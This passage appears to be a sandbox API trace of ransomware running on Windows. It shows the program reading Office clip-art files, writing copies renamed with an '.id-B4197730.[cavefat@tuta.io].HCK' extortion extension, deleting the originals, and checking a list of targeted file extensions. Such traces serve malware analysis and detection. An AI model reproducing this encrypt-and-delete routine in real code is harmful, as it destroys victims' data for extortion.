Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf")) returned 0x220 [0180.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.214] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.214] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.218] GetLastError () returned 0x0 [0180.218] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x138c, lpOverlapped=0x0) returned 1 [0180.219] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1390, lpOverlapped=0x0) returned 1 [0180.220] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.220] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.220] SetEndOfFile (hFile=0x300) returned 1 [0180.223] CloseHandle (hObject=0x300) returned 1 [0180.224] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.224] SetEndOfFile (hFile=0x368) returned 1 [0180.228] CloseHandle (hObject=0x368) returned 1 [0180.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf")) returned 1 [0180.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.234] lstrlenW (lpString=".doc") returned 4 [0180.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.234] lstrlenW (lpString=".docx") returned 5 [0180.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.234] lstrlenW (lpString=".pdf") returned 4 [0180.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.234] lstrlenW (lpString=".xls") returned 4 [0180.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.234] lstrlenW (lpString=".xlsx") returned 5 [0180.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.234] lstrlenW (lpString=".ppt") returned 4 [0180.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.234] lstrlenW (lpString=".zip") returned 4 [0180.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.234] lstrlenW (lpString=".rar") returned 4 [0180.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.234] lstrlenW (lpString=".bz2") returned 4 [0180.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.234] lstrlenW (lpString=".7z") returned 3 [0180.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.234] lstrlenW (lpString=".dbf") returned 4 [0180.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.235] lstrlenW (lpString=".1cd") returned 4 [0180.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.235] lstrlenW (lpString=".jpg") returned 4 [0180.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.235] lstrlenW (lpString=".doc") returned 4 [0180.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString=".docx") returned 5 [0180.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.235] lstrlenW (lpString=".pdf") returned 4 [0180.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString=".xls") returned 4 [0180.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.235] lstrlenW (lpString=".xlsx") returned 5 [0180.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.235] lstrlenW (lpString=".ppt") returned 4 [0180.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.235] lstrlenW (lpString=".zip") returned 4 [0180.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.235] lstrlenW (lpString=".rar") returned 4 [0180.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString=".bz2") returned 4 [0180.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString=".7z") returned 3 [0180.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.235] lstrlenW (lpString=".dbf") returned 4 [0180.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.235] lstrlenW (lpString=".1cd") returned 4 [0180.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF") returned 68 [0180.235] lstrlenW (lpString=".jpg") returned 4 [0180.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.235] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.235] lstrlenW (lpString="SO00152_.WMF") returned 12 [0180.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.237] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31360) returned 1 [0180.237] CloseHandle (hObject=0x300) returned 1 [0180.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf")) returned 0x220 [0180.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.243] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.243] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.245] GetLastError () returned 0x0 [0180.246] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7a80, lpOverlapped=0x0) returned 1 [0180.249] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7a90, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7a90, lpOverlapped=0x0) returned 1 [0180.250] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.250] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.250] SetEndOfFile (hFile=0x300) returned 1 [0180.252] CloseHandle (hObject=0x300) returned 1 [0180.254] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.254] SetEndOfFile (hFile=0x3a4) returned 1 [0180.257] CloseHandle (hObject=0x3a4) returned 1 [0180.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf")) returned 1 [0180.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.259] lstrlenW (lpString=".doc") returned 4 [0180.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.259] lstrlenW (lpString=".docx") returned 5 [0180.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.259] lstrlenW (lpString=".pdf") returned 4 [0180.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.259] lstrlenW (lpString=".xls") returned 4 [0180.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.259] lstrlenW (lpString=".xlsx") returned 5 [0180.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.259] lstrlenW (lpString=".ppt") returned 4 [0180.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.259] lstrlenW (lpString=".zip") returned 4 [0180.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.259] lstrlenW (lpString=".rar") returned 4 [0180.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.259] lstrlenW (lpString=".bz2") returned 4 [0180.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.259] lstrlenW (lpString=".7z") returned 3 [0180.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.259] lstrlenW (lpString=".dbf") returned 4 [0180.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.259] lstrlenW (lpString=".1cd") returned 4 [0180.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.260] lstrlenW (lpString=".jpg") returned 4 [0180.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.260] lstrlenW (lpString=".doc") returned 4 [0180.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.260] lstrlenW (lpString=".docx") returned 5 [0180.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.260] lstrlenW (lpString=".pdf") returned 4 [0180.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.260] lstrlenW (lpString=".xls") returned 4 [0180.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.260] lstrlenW (lpString=".xlsx") returned 5 [0180.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.260] lstrlenW (lpString=".ppt") returned 4 [0180.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.260] lstrlenW (lpString=".zip") returned 4 [0180.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.260] lstrlenW (lpString=".rar") returned 4 [0180.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.260] lstrlenW (lpString=".bz2") returned 4 [0180.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.260] lstrlenW (lpString=".7z") returned 3 [0180.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.260] lstrlenW (lpString=".dbf") returned 4 [0180.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.260] lstrlenW (lpString=".1cd") returned 4 [0180.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF") returned 68 [0180.260] lstrlenW (lpString=".jpg") returned 4 [0180.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.260] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.260] lstrlenW (lpString="SO00168_.WMF") returned 12 [0180.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.265] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=15150) returned 1 [0180.265] CloseHandle (hObject=0x368) returned 1 [0180.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf")) returned 0x220 [0180.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.274] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.274] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.277] GetLastError () returned 0x0 [0180.277] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3b2e, lpOverlapped=0x0) returned 1 [0180.278] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0180.279] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.279] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.279] SetEndOfFile (hFile=0x2fc) returned 1 [0180.281] CloseHandle (hObject=0x2fc) returned 1 [0180.282] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.283] SetEndOfFile (hFile=0x3a4) returned 1 [0180.285] CloseHandle (hObject=0x3a4) returned 1 [0180.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf")) returned 1 [0180.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.288] lstrlenW (lpString=".doc") returned 4 [0180.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.288] lstrlenW (lpString=".docx") returned 5 [0180.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.288] lstrlenW (lpString=".pdf") returned 4 [0180.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.288] lstrlenW (lpString=".xls") returned 4 [0180.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.288] lstrlenW (lpString=".xlsx") returned 5 [0180.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.288] lstrlenW (lpString=".ppt") returned 4 [0180.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.288] lstrlenW (lpString=".zip") returned 4 [0180.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.288] lstrlenW (lpString=".rar") returned 4 [0180.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.288] lstrlenW (lpString=".bz2") returned 4 [0180.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString=".7z") returned 3 [0180.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.289] lstrlenW (lpString=".dbf") returned 4 [0180.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.289] lstrlenW (lpString=".1cd") returned 4 [0180.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.289] lstrlenW (lpString=".jpg") returned 4 [0180.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.289] lstrlenW (lpString=".doc") returned 4 [0180.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString=".docx") returned 5 [0180.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.289] lstrlenW (lpString=".pdf") returned 4 [0180.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString=".xls") returned 4 [0180.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.289] lstrlenW (lpString=".xlsx") returned 5 [0180.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.289] lstrlenW (lpString=".ppt") returned 4 [0180.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.289] lstrlenW (lpString=".zip") returned 4 [0180.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.289] lstrlenW (lpString=".rar") returned 4 [0180.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString=".bz2") returned 4 [0180.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString=".7z") returned 3 [0180.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.289] lstrlenW (lpString=".dbf") returned 4 [0180.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.289] lstrlenW (lpString=".1cd") returned 4 [0180.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF") returned 68 [0180.289] lstrlenW (lpString=".jpg") returned 4 [0180.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.289] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.289] lstrlenW (lpString="SO00190_.WMF") returned 12 [0180.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.292] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=20812) returned 1 [0180.292] CloseHandle (hObject=0x368) returned 1 [0180.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf")) returned 0x220 [0180.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.295] CreateFileW (lpFileName="C:\\Program 